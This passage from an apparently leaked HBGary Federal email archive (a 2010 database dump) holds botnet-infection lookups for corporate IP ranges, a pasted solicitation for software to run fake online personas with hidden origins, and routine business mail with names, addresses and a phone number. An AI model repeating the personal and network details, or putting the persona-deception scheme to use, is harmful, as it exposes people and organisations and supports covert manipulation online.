.33.3112.16.33.32;12.16.33.4712.8.149.144;12.8.149.151\r\n12.37.76.80;12.37.76.8712.144.155.16;12.144.155.23207.214.50.208;207.214.50.21565.218.221.48;65.218.221.5565.202.72.64;65.202.72.7174.231.59.192;74.231.59.223\r\n74.231.59.160;74.231.59.191208.255.172.32;208.255.172.3975.49.104.104;75.49.104.11175.51.249.160;75.51.249.16775.51.249.224;75.51.249.231216.133.238.64;216.133.238.127\r\n68.120.93.104;68.120.93.11169.238.181.184;69.238.181.19175.19.146.248;75.19.146.25575.19.145.240;75.19.145.247\r\n\r\nResults:\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nIP : 204.128.230.1Confidence : 10%Events :         Conficker A/B : Sat Jan 31 00:45:38 2009 GMT        Spam : Thu Feb  5 05:59:00 2009 GMT\r\n IP : 192.203.182.2Confidence : 10%Events :         Conficker A/B : Wed Aug 19 07:37:58 2009 GMT IP : 192.195.67.2Confidence : 100%\r\nEvents :         Conficker C : Mon Jun 28 13:35:58 2010 GMT        Conficker A/B : Mon Jun 28 19:01:47 2010 GMT IP : 204.128.192.3Confidence : 99.992982%Events : \r\n        Zeus : Wed Mar  3 00:27:54 2010 GMT        Unknown : Fri Jun 18 02:53:13 2010 GMT        Conficker C : Mon Jun 28 12:06:40 2010 GMT        Conficker A/B : Sun Jun 27 20:37:08 2010 GMT\r\n IP : 204.128.192.4Confidence : 99.969251%Events :         Zeus : Wed Mar  3 00:47:17 2010 GMT        Conficker C : Wed Jun 23 20:30:45 2010 GMT        Conficker A/B : Mon Jun 28 05:50:26 2010 GMT\r\n IP : 192.195.67.23Confidence : 10%Events :         Conficker A/B : Tue Sep  1 18:32:24 2009 GMT IP : 192.195.67.31Confidence : 19.269527%\r\nEvents :         Conficker A/B : Wed Jan 27 07:30:02 2010 GMT IP : 199.88.194.29Confidence : 96.156387%Events :         Mariposa : Sun Jun 13 10:48:09 2010 GMT\r\n        Conficker A/B : Fri Jun 25 05:49:49 2010 GMT IP : 204.128.245.34Confidence : 10%Events :         Spam : Fri Jan 30 19:59:00 2009 GMT \r\nIP : 192.195.66.20Confidence : 10%Events :         Spam : Thu Jan  1 08:59:00 2009 GMT IP : 192.195.66.30Confidence : 10%Events :         Spam : Sat Apr 18 14:59:00 2009 GMT\r\n IP : 192.195.66.32Confidence : 10%Events :         Spam : Sat Apr 18 15:59:00 2009 GMT IP : 192.195.66.39Confidence : 10%Events : \r\n        Spam : Mon Feb 16 20:59:00 2009 GMT IP : 204.128.245.58Confidence : 10%Events :         Spam : Mon Feb  9 18:59:00 2009 GMT IP : 204.69.150.39\r\nConfidence : 10%Events :         Spam : Mon Feb  9 06:59:00 2009 GMT IP : 192.195.66.46Confidence : 99.994728%Events :         Unknown : Wed Jun 23 16:45:24 2010 GMT\r\n        Conficker C : Mon Jun 28 13:04:45 2010 GMT        Conficker A/B : Sun Jun 27 17:27:47 2010 GMT IP : 192.195.66.47Confidence : 99.996156%Events : \r\n        Unknown : Thu Jun 24 12:22:25 2010 GMT        Conficker C : Mon Jun 28 14:16:08 2010 GMT        Conficker A/B : Mon Jun 28 11:57:49 2010 GMT IP : 192.195.66.48\r\nConfidence : 10%Events :         Conficker C : Fri Sep 18 09:06:28 2009 GMT        Conficker A/B : Thu Mar 19 21:57:36 2009 GMT IP : 192.195.66.49Confidence : 10%\r\nEvents :         Conficker C : Thu Sep 17 04:46:23 2009 GMT        Conficker A/B : Thu Mar 19 15:56:55 2009 GMT IP : 192.195.67.72Confidence : 10%Events : \r\n        Conficker A/B : Fri Aug 21 06:59:48 2009 GMT IP : 12.192.106.104Confidence : 10%Events :         Conficker A/B : Wed Dec  9 18:37:01 2009 GMT \r\nIP : 204.238.46.100Confidence : 99.998861%Events :         Hamweq : Tue Dec 15 19:59:00 2009 GMT        Bobax : Wed Jul 22 23:59:00 2009 GMT        Mariposa : Sat Mar  6 02:29:36 2010 GMT\r\n        Unknown : Wed Jun 23 00:09:11 2010 GMT        Spam : Thu Mar 12 22:59:00 2009 GMT        Conficker C : Mon Jun 28 03:00:12 2010 GMT        Conficker A/B : Mon Jun 28 18:10:39 2010 GMT\r\n IP : 12.44.117.104Confidence : 10%Events :         Conficker A/B : Wed Dec  9 11:38:23 2009 GMT IP : 192.195.67.114Confidence : 94.727554%\r\nEvents :         Conficker A/B : Thu Jun 24 20:42:19 2010 GMT IP : 192.195.66.129Confidence : 74.049162%Events :         Unknown : Fri Jun 18 17:26:55 2010 GMT\r\n        Conficker C : Wed Jan 13 00:11:53 2010 GMT        Conficker A/B : Sun Jun  6 18:46:36 2010 GMT        Spam : Thu Oct 22 02:59:00 2009 GMT IP : 192.195.67.119\r\nConfidence : 99.978404%Events :         Conficker A/B : Mon Jun 28 08:24:25 2010 GMT IP : 198.102.219.131Confidence : 88.942879%Events :         Unknown : Wed Jun 23 16:44:54 2010 GMT\r\n        Conficker A/B : Wed Feb 11 16:33:40 2009 GMT IP : 198.102.219.132Confidence : 93.358236%Events :         Unknown : Thu Jun 24 12:21:55 2010 GMT\r\n IP : 153.8.0.217Confidence : 10%Events :         Spam : Sat Mar  7 16:59:00 2009 GMT IP : 198.180.195.209Confidence : 34.795996%Events : \r\n        Mariposa : Wed Mar  3 14:47:00 2010 GMT        Conficker A/B : Thu Mar 25 12:57:56 2010 GMT IP : 199.181.130.5Confidence : 16.097298%Events : \r\n        Conficker A/B : Sun Jan 17 00:51:36 2010 GMT IP : 199.181.130.10Confidence : 10%Events :         P2P : Tue Aug  4 09:59:00 2009 GMT IP : 199.181.134.212\r\nConfidence : 100%Events :         Unknown : Thu Jun 24 14:53:51 2010 GMT        Conficker C : Mon Jun 28 19:14:46 2010 GMT        Conficker A/B : Mon Jun 28 20:30:35 2010 GMT\r\n IP : 199.181.135.135Confidence : 74.452284%Events :         Conficker A/B : Mon Jun 21 21:59:34 2010 GMT        Spam : Thu Feb 11 14:59:00 2010 GMT \r\nIP : 153.6.17.148Confidence : 10%Events :         Spam : Fri Feb 27 19:59:00 2009 GMT IP : 153.6.22.16Confidence : 10%Events :         Spam : Tue Mar  3 09:59:00 2009 GMT\r\n IP : 153.6.29.118Confidence : 10%Events :         Spam : Fri Mar 13 21:59:00 2009 GMT IP : 153.8.48.246Confidence : 10%Events : \r\n        Spam : Fri Feb 13 00:59:00 2009 GMT IP : 153.7.50.176Confidence : 10%Events :         Spam : Tue Feb 10 08:59:00 2009 GMT IP : 153.8.72.232\r\nConfidence : 10%Events :         Spam : Fri Jan 23 10:59:00 2009 GMT IP : 153.7.84.191Confidence : 27.164028%Events :         Spam : Tue Feb 23 23:59:00 2010 GMT\r\n IP : 153.8.95.199Confidence : 10%Events :         Spam : Sun Aug 16 22:59:00 2009 GMT IP : 153.8.98.57Confidence : 10%Events : \r\n        Spam : Wed Feb 11 10:59:00 2009 GMT IP : 153.6.117.143Confidence : 10%Events :         Spam : Sat Aug 15 21:59:00 2009 GMT IP : 153.6.133.70\r\nConfidence : 10%Events :         Spam : Mon Aug 10 10:59:00 2009 GMT IP : 153.7.134.93Confidence : 10%Events :         Spam : Sat Dec 26 22:59:00 2009 GMT\r\n IP : 153.8.161.83Confidence : 10%Events :         Spam : Tue Feb 10 15:59:00 2009 GMT IP : 153.8.173.35Confidence : 10%Events : \r\n        Spam : Wed Aug  5 13:59:00 2009 GMT IP : 153.6.191.244Confidence : 10%Events :         Spam : Wed Feb 11 19:59:00 2009 GMT IP : 153.7.207.106\r\nConfidence : 10%Events :         Spam : Sun Mar 15 20:59:00 2009 GMT IP : 153.7.208.63Confidence : 10%Events :         Spam : Fri Feb 20 16:59:00 2009 GMT\r\n IP : 153.8.209.132Confidence : 10%Events :         Spam : Mon Feb  9 03:59:00 2009 GMT IP : 153.6.224.208Confidence : 10%Events : \r\n        Spam : Sat Mar 14 07:59:00 2009 GMT\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n',272,'aaron_hbgary_com/272.html'),(7978,'2010-06-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006155.M395968P14101Q2833.eml','\"Aaron Barr\" <adbarr@mac.com>','modules','MAJOR MODULESINTRODUCTION TO SOCIAL MEDIAWhat is Social MediaSocial Media TimelineRise of Social MediaEffects of Social Media on the WebAmateur ContentSocial Media CategoriesMMOSocial GamesVirtual WorldsLivecastsPublishingSharingDiscussionsLifestreamSocial NetworksMicrobloggingBusiness UsesWeighing Pros and ConsChanneling UsageUSE CASESMANAGING SOCIAL MEDIADeveloping an effective social media usage policyPrivacy&nbsp;Information ManagementWhat you need to understand about the current cultureTechnologies.&nbsp; What they are used for.Benefits of Social Networking (http://www.bnet.com/2403-13070_23-219914.html)Most current benefits of social networking are external to the organization.&nbsp; But these benefits are significant and will leading to increasing usage.&nbsp; http://www.sitepoint.com/blogs/2009/07/28/social-networking-sites-for-business/1. Find Unexpected Collaborators2. Building a Global Business from Scratch3. Finding Talent4. Viral Marketing\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',143,'aaron_hbgary_com/143.html'),(7979,'2010-06-29','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006155.M597044P14101Q2834.eml','\"Barr Aaron\" <aaron@hbgary.com>','Cyber-Genetic Provenance, Lineage, Forensics, and Classification','\r\n\r\n\r\nA--Cyber-Genetic Provenance, Lineage, Forensics, and Classification (ProLiFiC)\r\nA -- Research &amp; Development\r\nDepartment of the Air ForceAir Force Materiel CommandAFRL - Rome Research SiteThis program was awarded today to General Electric.  I don&#39;t remember seeing the RFP.\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n\r\n',2049,'aaron_hbgary_com/2049.html'),(7980,'2010-06-29','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006155.M848489P14101Q2835.eml','\"Barr Aaron\" <aaron@hbgary.com>,mark@hbgary.com','WTF? Dude.','https://www.fbo.gov/index?s=opportunity&amp;mode=form&amp;id=d88e9d660336be91552fe8c1a51bacb2&amp;tab=core&amp;_cview=1\r\n0001- Online Persona Management Service. 50 User Licenses, 10 Personas per user.\r\nSoftware will allow 10 personas per user, replete with background , history, supporting details, and cyber presences that are technically, culturally and geographacilly consistent. Individual applications will enable an operator to exercise a number of different online persons from the same workstation and without fear of being discovered by sophisticated adversaries. Personas must be able to appear to originate in nearly any part of the world and can interact through conventional online services and social media platforms. The service includes a user friendly application environment to maximize the user&#39;s situational awareness by displaying real-time local information. \r\n\r\n0002- Secure Virtual Private Network (VPN). 1 each VPN provides the ability for users to daily and automatically obtain randomly selectedIP addresses through which they can access the internet. The daily rotation of\r\nthe user s IP address prevents compromise during observation of likely ortargeted web sites or services, while hiding the existence of the operation. Inaddition, may provide traffic mixing, blending the user s traffic with traffic from\r\nmultitudes of users from outside the organization. This traffic blending providesexcellent cover and powerful deniability. Anonymizer Enterprise Chameleon or equal\r\n0003- Static IP Address Management. 50 each\r\nLicence protects the identity of government agencies and enterpriseorganizations. Enables organizations to manage their persistent online personasby assigning static IP addresses to each persona. Individuals can perform\r\nstatic impersonations, which allow them to look like the same person over time.Also allows organizations that frequent same site/service often to easily switch IP\r\naddresses to look like ordinary users as opposed to one organization. Anonymizer IP Mapper License or equal\r\n0004- Virtual Private Servers, CONUS. 1 each\r\nProvides CONUS or OCONUS points of presence locations that are setup foreach customer based on the geographic area of operations the customer isoperating within and which allow a customer?s online persona(s) to appear to\r\noriginate from. Ability to provide virtual private servers that are procured usingcommercial hosting centers around the world and which are establishedanonymously. Once procured, the geosite is incorporated into the network and\r\nintegrated within the customers environment and ready for use by the customer.Unless specifically designated as shared, locations are dedicated for use byeach customer and never shared among other customers. Anonymizer Annual Dedicated CONUS Light Geosite or equal\r\n\r\n0005- Virtual Private Servers, OCONUS. 8 EachProvides CONUS or OCONUS points of presence locations that are setup foreach customer based on the geographic area of operations the customer is\r\noperating within and which allow a customer?s online persona(s) to appear tooriginate from. Ability to provide virtual private servers that are procured using\r\ncommercial hosting centers around the world and which are establishedanonymously. Once procured, the geosite is incorporated into the network andintegrated within the customers environment and ready for use by the customer.\r\nUnless specifically designated as shared, locations are dedicated for use byeach customer and never shared among other customers. Anonymizer Annual Dedicated OCONUS Light Geosite or equal\r\n\r\n0006- Remote Access Secure Virtual Private Network. 1 eachSecure Operating Environment provides a reliable and protected computingenvironment from which to stage and conduct operations. Every session uses a\r\nclean Virtual Machine (VM) image. The solution is accessed through sets ofVirtual Private Network (VPN) devices located at each Customer facility. Thefully-managed VDI (Virtual Desktop Infrastructure) is an environment that allows\r\nusers remote access from their desktop into a VM. Upon session termination,the VM is deleted and any virus, worm, or malicious software that the user inadvertently downloaded is destroyed. Anonymizer Virtual Desktop Infrastructure (VDI) Solution or equal.\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n',15091,'aaron_hbgary_com/15091.html'),(7981,'2010-06-29','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006156.M264775P14101Q2837.eml','\"Aaron Barr\" <aaron@hbgary.com>','USDI','If it&#39;s covcom then we&#39;d probably want Johnathan George, Jeff McCartney, and possibly Ernst or Clint.\r\n',4065,'aaron_hbgary_com/4065.html'),(7982,'2010-06-29','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006156.M499398P14101Q2838.eml','raymond.maier@baesystems.com','Botnet Activity','Hi Joe,\r\nHBGary and its partners have technology which allows us to passively enumerate nodes associated with illegal bot-nets.  As we passively collect this information it is logged to a database (which is getting quite massive).  After our discussion earlier today, I did a whois search on www.arin.net to identify the IP netblocks associated with the BAE Systems organization:\r\n\r\n63.172.159.0;63.172.159.127\r\n209.203.96.0;209.203.96.255\r\n206.190.72.224;206.190.72.239\r\n206.251.232.32;206.251.232.39\r\n63.172.69.80;63.172.69.95\r\n65.168.28.0;65.168.28.15\r\n66.222.90.192;66.222.90.199\r\n66.222.92.248;66.222.92.255\r\n69.129.140.168;69.129.140.175\r\n129.86.0.0;129.86.255.255\r\n206.231.13.0;206.231.13.255\r\n65.162.149.0;65.162.149.15\r\n216.54.73.32;216.54.73.47\r\n207.47.18.72;207.47.18.79\r\n68.93.24.224;68.93.24.255\r\n74.211.178.112;74.211.178.127\r\n67.121.46.240;67.121.46.247\r\n209.78.105.0;209.78.105.127\r\n68.93.24.0;68.93.24.127\r\n68.93.24.128;68.93.24.191\r\n67.121.46.48;67.121.46.55\r\n208.253.77.56;208.253.77.63\r\n65.216.148.40;65.216.148.47\r\n63.98.204.144;63.98.204.159\r\n208.250.102.192;208.250.102.255\r\n216.253.2.168;216.253.2.175\r\n162.39.9.144;162.39.9.151\r\n65.199.216.48;65.199.216.63\r\n64.9.116.192;64.9.116.199\r\n66.55.255.168;66.55.255.175\r\n66.55.255.184;66.55.255.191\r\n209.172.103.240;209.172.103.247\r\n67.58.89.96;67.58.89.103\r\n75.76.140.56;75.76.140.63\r\n207.47.18.64;207.47.18.71\r\n209.217.208.48;209.217.208.63\r\n70.89.246.184;70.89.246.191\r\n98.141.248.24;98.141.248.31\r\n64.26.174.192;64.26.174.223\r\n208.253.69.0;208.253.69.31\r\n208.250.64.208;208.250.64.223\r\n208.250.65.224;208.250.65.239\r\n65.210.20.224;65.210.20.239\r\n69.230.9.32;69.230.9.39\r\n69.229.147.232;69.229.147.239\r\n69.218.60.16;69.218.60.23\r\n69.229.59.248;69.229.59.255\r\n69.109.91.200;69.109.91.207\r\n69.237.115.128;69.237.115.135\r\n141.156.28.0;141.156.28.127\r\n141.157.159.160;141.157.159.175\r\n99.148.161.192;99.148.161.199\r\n69.177.248.64;69.177.248.79\r\n66.120.113.120;66.120.113.127\r\n66.121.204.192;66.121.204.199\r\n66.120.102.216;66.120.102.223\r\n63.138.240.72;63.138.240.79\r\n63.138.240.104;63.138.240.111\r\n74.10.52.96;74.10.52.103\r\n74.10.52.160;74.10.52.167\r\n74.10.52.152;74.10.52.159I then queried our database to see if any of these IP addresses have been passively observed in any of the 65 bot-nets that we collect data on and the results are below.  Don&#39;t put too much weight into the Confidence value.  We are still working on our confidence algorithm. At this point, it basically starts at 100% and then decreases over time at different rates, based upon the type of event and the number of recorded observations.\r\n\r\nIP : 208.253.69.2\r\nConfidence : 14.24795%\r\nEvents : \r\n	Conficker A/B : Mon Jan 11 03:48:42 2010 GMT\r\n\r\nIP : 63.172.69.83\r\nConfidence : 14.499057%\r\nEvents : \r\n	Spam : Mon Jan 11 22:59:00 2010 GMT\r\nIP : 129.86.47.90\r\nConfidence : 13.38445%\r\nEvents : \r\n	Spam : Fri Jan  8 14:59:00 2010 GMTIP : 206.190.72.238\r\nConfidence : 10%\r\nEvents : \r\n	Conficker A/B : Wed May 27 21:12:08 2009 GMT\r\n\r\nIP : 129.86.28.130\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar 22 02:59:00 2009 GMT\r\n\r\nIP : 129.86.65.211\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Mar 19 15:59:00 2009 GMT\r\n\r\nIP : 129.86.72.240\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Jan 16 11:59:00 2009 GMT\r\n\r\nIP : 129.86.73.240\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar 15 14:59:00 2009 GMT\r\n\r\nIP : 129.86.128.200\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Jan  2 09:59:00 2009 GMT\r\n\r\nIP : 129.86.156.52\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Mar  5 11:59:00 2009 GMT\r\n\r\nIP : 129.86.162.91\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Jan 18 12:59:00 2009 GMT\r\n\r\nIP : 129.86.166.165\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Feb 21 11:59:00 2009 GMT\r\n\r\nIP : 129.86.183.227\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Mar  2 04:59:00 2009 GMT\r\n\r\nIP : 129.86.196.19\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Wed Feb  4 09:59:00 2009 GMT\r\n\r\nIP : 129.86.209.233\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Mar  9 11:59:00 2009 GMT\r\n\r\nIP : 129.86.230.74\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Mar  3 18:59:00 2009 GMT\r\n\r\nIP : 129.86.236.218\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Mar 14 18:59:00 2009 GMT\r\n\r\nIP : 129.86.237.171\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Feb 15 13:59:00 2009 GMTAll of these BAE machines may have already been identified and fixed by your IT security dept, or they could still be infected.  We suggest that since it is a pretty small number of hosts, it would be worthwhile for your security team to at least check out these machines to see if they have any current bot-net infections, especially the ones that were observed most recently.  It may be necessary to review log files to determine which NAT ip address used the Internet IP address at the given date/time stamp of the recorded events.\r\nI look forward to meeting with you tomorrow at 10am.  Please send me your address.\r\nRegards,\r\nTed Vera\r\n',5782,'aaron_hbgary_com/5782.html'),(7983,'2010-06-29','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006156.M54434P14101Q2836.eml','\"Barr Aaron\" <aaron@hbgary.com>','green iphone 4 case','Perfect for Aaron:http://www.grovemade.com/-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n\r\n\r\n',13325,'aaron_hbgary_com/13325.html'),(7984,'2010-06-29','jim@hbgary.com','/aaron@hbgary.com/new/1297006156.M736105P14101Q2839.eml','all@hbgary.com','Active Defense 1.0 User Guide.pdf','\r\n\r\nActive Defense 1.0 User Guide.pdf\r\nMessage from jim@hbgary.com:\r\n\r\nClick to open:\r\nActive Defense 1.0 User Guide.pdf\r\n\r\n\r\nGoogle Docs makes it easy to create, store and share online documents, spreadsheets and presentations.\r\n',16037,'aaron_hbgary_com/16037.html'),(7985,'2010-06-30','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006156.M954933P14101Q2840.eml','\"Barr Aaron\" <aaron@hbgary.com>,mark@hbgary.com','BAE','I did some digging around ARSTRAT&#39;s contract website.  The only BAE contract I could find (which it looks like all of ARSTRAT contracts are listed) is the &quot;COSMIC PROGRAM&quot;, valued at $500M multiyear, through 2017.\r\nI hope things go well tomorrow.  Mark and I meet with Joe at 10am.Ted\r\n\r\n',2759,'aaron_hbgary_com/2759.html'),(7986,'2010-06-30','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297006160.M683989P14101Q2841.eml','\"Aaron Barr\" <aaron@hbgary.com>','FW: RE: RE: Background material','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Nathan Atherley\r\n[mailto:nathan.atherley@farallon-research.com] \r\nSent: Monday, June 28, 2010 6:55 AM\r\nTo: Economou, George; Penny Leavy-Hoglund; jack kretovics;\r\njhayes@blackridge.us; Ray Owen\r\nSubject: Fwd: RE: RE: Background material\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nThanks John!\r\n\r\n\r\n\r\n-------- Original Message -------- \r\n\r\n\r\n \r\n  \r\n  Subject: \r\n  \r\n  \r\n  RE: RE: Background material\r\n  \r\n \r\n \r\n  \r\n  Date: \r\n  \r\n  \r\n  Mon, 28 Jun 2010 06:38:49 -0700\r\n  \r\n \r\n \r\n  \r\n  From: \r\n  \r\n  \r\n  John Hayes &lt;jhayes@blackridge.us&gt;\r\n  \r\n \r\n \r\n  \r\n  Organization: \r\n  \r\n  \r\n  BlackRidge Technology Inc\r\n  \r\n \r\n \r\n  \r\n  To: \r\n  \r\n  \r\n  \'Nathan Atherley\' &lt;nathan.atherley@farallon-research.com&gt;\r\n  \r\n \r\n\r\n\r\n&nbsp;\r\n\r\nNathan-&nbsp;Here\'s the BlackRidge whitepaper on TAC.&nbsp; &nbsp;John.--&nbsp;&gt; -----Original Message-----&gt; From: Nathan Atherley [mailto:nathan.atherley@farallon-research.com]&gt; Sent: Thursday, June 24, 2010 11:50 AM&gt; To: jhayes@blackridge.us; Economou, George; Penny Leavy-Hoglund; Ray&gt; Owen; jack kretovics&gt; Subject: Fwd: RE: Background material&gt; &gt; Thanks for Penny for being the first one to get some read ahead&gt; material out to the group.&nbsp; If the other groups can get me something&gt; NLT tomorrow, I will ensure we all have copies as well as print outs on&gt; the day of.&gt; &gt; Thanks&gt; &gt; nathan&gt; &gt; &gt; On 6/21/2010 3:04 PM, Penny Leavy-Hoglund wrote:&gt; &gt;&nbsp; Ours are up on our website&gt; &gt;&gt; &gt;&nbsp; -----Original Message-----&gt; &gt;&nbsp; From: Nathan Atherley [mailto:nathan.atherley@farallon-research.com]&gt; &gt;&nbsp; Sent: Monday, June 21, 2010 11:05 AM&gt; &gt;&nbsp; To: Economou, George; jhayes@blackridge.us; Penny Leavy-Hoglund; Ray&gt; &gt; Owen;&nbsp; jack kretovics&gt; &gt;&nbsp; Subject: Background material&gt; &gt;&gt; &gt;&nbsp; Penny, John&amp;&nbsp;&nbsp; George&gt; &gt;&gt; &gt;&nbsp; In preparation for our 8-9 July meetings, I would like to get some&gt; &gt; background material to help each of us get as much up to speed as&gt; &gt; possible on each of the entities.&nbsp; We are currently working the NDA&gt; &gt; issue and if you prefer, please send me any material you would like&gt; to&gt; &gt; share and that you think will be helpful to accelerate our meetings.&gt; &gt;&gt; &gt;&nbsp; If everyone could please send me materials NLT this Friday 25 June,&gt; I&gt; &gt; will redistribute, as well as ensure we have copies etc on the 8th.&gt; &gt;&gt; &gt;&nbsp; Thanks!&gt; &gt;&gt; &gt;&nbsp; nathan&gt; &gt;&gt; &gt;&gt; &gt;&gt; &gt;&gt; &nbsp;&nbsp;\r\n\r\n\r\n\r\n\r\n',12814,'aaron_hbgary_com/12814.html'),(7987,'2010-06-30','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297006163.M658649P14101Q2842.eml','\"Aaron Barr\" <aaron@hbgary.com>','FW: RE: RE: Background material','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Economou, George\r\n[mailto:economou@Akamai.com] \r\nSent: Monday, June 28, 2010 4:14 PM\r\nTo: Nathan Atherley; Penny Leavy-Hoglund; jack kretovics;\r\njhayes@blackridge.us; Ray Owen\r\nSubject: RE: RE: RE: Background material\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHey\r\nNate,\r\n\r\n&nbsp;\r\n\r\nHere\r\nis generic info on Akamai and Public Sector work, with a teaser for pretty much\r\nall the areas we address; there are some whitepapers on Akamai &amp; cloud\r\ncomputing at www.akamai.com/cloud; and info on the type of data we observe is\r\nmostly on our Web site under Technology -&gt; Visualizing the Internet.&nbsp; There\r\nis no universal whitepaper for what we do, unfortunately, it\'s all specific to\r\nindividual services.\r\n\r\n&nbsp;\r\n\r\nBest,\r\n\r\n-George\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Nathan Atherley\r\n[mailto:nathan.atherley@farallon-research.com] \r\nSent: Monday, June 28, 2010 9:55 AM\r\nTo: Economou, George; Penny Leavy-Hoglund; jack kretovics;\r\njhayes@blackridge.us; Ray Owen\r\nSubject: Fwd: RE: RE: Background material\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nThanks John!\r\n\r\n\r\n\r\n-------- Original Message -------- \r\n\r\n\r\n \r\n  \r\n  Subject: \r\n  \r\n  \r\n  RE: RE: Background material\r\n  \r\n \r\n \r\n  \r\n  Date: \r\n  \r\n  \r\n  Mon, 28 Jun 2010 06:38:49 -0700\r\n  \r\n \r\n \r\n  \r\n  From: \r\n  \r\n  \r\n  John Hayes &lt;jhayes@blackridge.us&gt;\r\n  \r\n \r\n \r\n  \r\n  Organization: \r\n  \r\n  \r\n  BlackRidge Technology Inc\r\n  \r\n \r\n \r\n  \r\n  To: \r\n  \r\n  \r\n  \'Nathan Atherley\' &lt;nathan.atherley@farallon-research.com&gt;\r\n  \r\n \r\n\r\n\r\n&nbsp;\r\n\r\nNathan-&nbsp;Here\'s the BlackRidge whitepaper on TAC.&nbsp; &nbsp;John.--&nbsp;&gt; -----Original Message-----&gt; From: Nathan Atherley [mailto:nathan.atherley@farallon-research.com]&gt; Sent: Thursday, June 24, 2010 11:50 AM&gt; To: jhayes@blackridge.us; Economou, George; Penny Leavy-Hoglund; Ray&gt; Owen; jack kretovics&gt; Subject: Fwd: RE: Background material&gt; &gt; Thanks for Penny for being the first one to get some read ahead&gt; material out to the group.&nbsp; If the other groups can get me something&gt; NLT tomorrow, I will ensure we all have copies as well as print outs on&gt; the day of.&gt; &gt; Thanks&gt; &gt; nathan&gt; &gt; &gt; On 6/21/2010 3:04 PM, Penny Leavy-Hoglund wrote:&gt; &gt;&nbsp; Ours are up on our website&gt; &gt;&gt; &gt;&nbsp; -----Original Message-----&gt; &gt;&nbsp; From: Nathan Atherley [mailto:nathan.atherley@farallon-research.com]&gt; &gt;&nbsp; Sent: Monday, June 21, 2010 11:05 AM&gt; &gt;&nbsp; To: Economou, George; jhayes@blackridge.us; Penny Leavy-Hoglund; Ray&gt; &gt; Owen;&nbsp; jack kretovics&gt; &gt;&nbsp; Subject: Background material&gt; &gt;&gt; &gt;&nbsp; Penny, John&amp;&nbsp;&nbsp; George&gt; &gt;&gt; &gt;&nbsp; In preparation for our 8-9 July meetings, I would like to get some&gt; &gt; background material to help each of us get as much up to speed as&gt; &gt; possible on each of the entities.&nbsp; We are currently working the NDA&gt; &gt; issue and if you prefer, please send me any material you would like&gt; to&gt; &gt; share and that you think will be helpful to accelerate our meetings.&gt; &gt;&gt; &gt;&nbsp; If everyone could please send me materials NLT this Friday 25 June,&gt; I&gt; &gt; will redistribute, as well as ensure we have copies etc on the 8th.&gt; &gt;&gt; &gt;&nbsp; Thanks!&gt; &gt;&gt; &gt;&nbsp; nathan&gt; &gt;&gt; &gt;&gt; &gt;&gt; &gt;&gt; &nbsp;&nbsp;\r\n\r\n\r\n\r\n\r\n',16549,'aaron_hbgary_com/16549.html'),(7988,'2010-06-30','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297006166.M785372P14101Q2843.eml','\"Aaron Barr\" <aaron@hbgary.com>','FW: July 6th Presentation in Reston','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nThis is Accenture integration I\r\nwas talking about\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\nrichard.ricart@accenture.com [mailto:richard.ricart@accenture.com] \r\nSent: Monday, June 28, 2010 9:52 AM\r\nTo: penny@hbgary.com; chris.lee@virtualarmor.com\r\nCc: richard.n.smith@accenture.com; rodney.riven@accenture.com\r\nSubject: RE: July 6th Presentation in Reston\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nOk,\r\n\r\n&nbsp;\r\n\r\nHere is an early cut of the\r\npresentation.&nbsp; We are still working on this so there may be changes to\r\nwhat is currently there and will have more slides to add.\r\n\r\n&nbsp;\r\n\r\nPlease review the Active Defense\r\nSection.&nbsp; I have place holders for HBGary and 